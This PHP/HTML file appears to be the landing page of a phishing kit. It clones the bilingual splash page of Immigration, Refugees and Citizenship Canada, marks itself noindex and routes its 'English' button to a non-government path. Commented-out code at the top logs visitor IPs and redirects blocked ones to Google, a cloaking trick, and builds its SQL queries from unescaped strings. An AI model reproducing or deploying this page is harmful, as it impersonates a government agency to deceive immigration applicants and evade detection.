<?php include('include/db_conx.php');
ob_start();

// this code will add an ip address to the site if it is not existing before 

// function getUserIP()
// {
//     // Get real visitor IP behind CloudFlare network
//     if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
//         $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
//         $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
//     }
//     $client  = @$_SERVER['HTTP_CLIENT_IP'];
//     $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
//     $remote  = $_SERVER['REMOTE_ADDR'];

//     if (filter_var($client, FILTER_VALIDATE_IP)) {
//         $ip = $client;
//     } elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
//         $ip = $forward;
//     } else {
//         $ip = $remote;
//     }

//     return $ip;
// }


// $user_ip = getUserIP();




// // now i will have to check if that particular ip address exit before so i done input it twice 

// $check_ip = "SELECT * FROM other_protocol WHERE ip_address = '$user_ip'";
// $query_checkIp = $db_conx->query($check_ip);
// $no_checkIp = mysqli_num_rows($query_checkIp);

// if ($no_checkIp == 0) {
//     $sql_insert_ip  = "INSERT INTO other_protocol(ip_address) VALUES('$user_ip')";
//     $query_insert_ip = $db_conx->query($sql_insert_ip);
// } else {
//     // now i will check if the ip address is blocked 
//     $sql_bringIp = "SELECT * FROM other_protocol WHERE ip_address = '$user_ip'";
//     $query_bringIp = $db_conx->query($sql_bringIp);
//     $row_ip = $query_bringIp->fetch_assoc();

//     $status_ip = $row_ip['status'];

//     if ($status_ip == 1) {
//         header('location: https://www.google.com/');
//     }
// }




?>


<html class="js backgroundsize borderimage csstransitions fontface svg details progressbar meter mathml cors largeview wb-enable" lang="en">

<head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <title>Immigration, Refugees and Citizenship | Immigration, Réfugiés et Citoyenneté</title>
    <meta content="width=device-width, initial-scale=1" name="viewport">



    <meta property="fb:admins" content="100004211408769">
    <link rel="shortcut icon" href="assets/img/favicon.png" type="image/png" />
    <meta name="robots" content="noindex, follow">
    <!--[if gte IE 9 | !IE ]><!-->

    <link rel="stylesheet" href="assets/css/wet-boew.css">
    <!--<![endif]-->
    <link rel="stylesheet" href="assets/css/theme.css">
    <link rel="stylesheet" href="assets/css/messages.css">


</head>

<body class="splash" vocab="http://schema.org/" typeof="WebPage">


    <div id="bg">
        <img src="assets/img/sp-bg-2.jpg" alt="">
    </div>
    <main role="main">
        <div class="sp-hb">
            <div class="sp-bx col-xs-12">
                <h1 property="name" class="wb-inv">Immigration, Refugees and Citizenship | Immigration, Réfugiés et Citoyenneté</h1>
                <div class="row">
                    <div class="col-xs-11 col-md-8">
                        <object type="image/svg+xml" tabindex="-1" role="img" data="assets/img/sig-spl.svg" aria-label="Immigration, Refugees and Citizenship / Immigration, Réfugiés et Citoyenneté"></object>
                    </div>
                </div>
                <div class="row">
                    <section class="col-xs-6 text-right">
                        <h2 class="wb-inv">Government</h2>
                        <p><a href="qasa/index.php" class="btn btn-primary">English</a></p>
                    </section>

                    <section class="col-xs-6" lang="fr">
                        <h2 class="wb-inv">Gouvernement</h2>
                        <p><a href="#" class="btn btn-primary">Français</a></p>
                    </section>
                </div>
            </div>
            <div class="sp-bx-bt col-xs-12">
                <div class="row">
                    <div class="col-xs-7 col-md-8"> <a href="en/terms/index.php" class="sp-lk">Terms and conditions</a> <span class="glyphicon glyphicon-asterisk"></span> <a href="fr/avis/index.html" class="sp-lk" lang="fr">Avis</a>
                    </div>
                    <div class="col-xs-5 col-md-4 text-right mrgn-bttm-md">
                        <object type="image/svg+xml" tabindex="-1" role="img" data="assets/img/wmms-spl.svg" aria-label="Symbol / Symbole"></object>
                    </div>
                </div>
            </div>
        </div>
    </main>
    <!--[if gte IE 9 | !IE ]><!-->

    <script src="assets/js/wet-boew.js"></script>
    <div style="position: absolute;"><math>
            <mfrac>
                <mi>xx</mi>
                <mi>yy</mi>
            </mfrac>
        </math></div>




</body>
<?php
ob_end_flush();

?>

</html>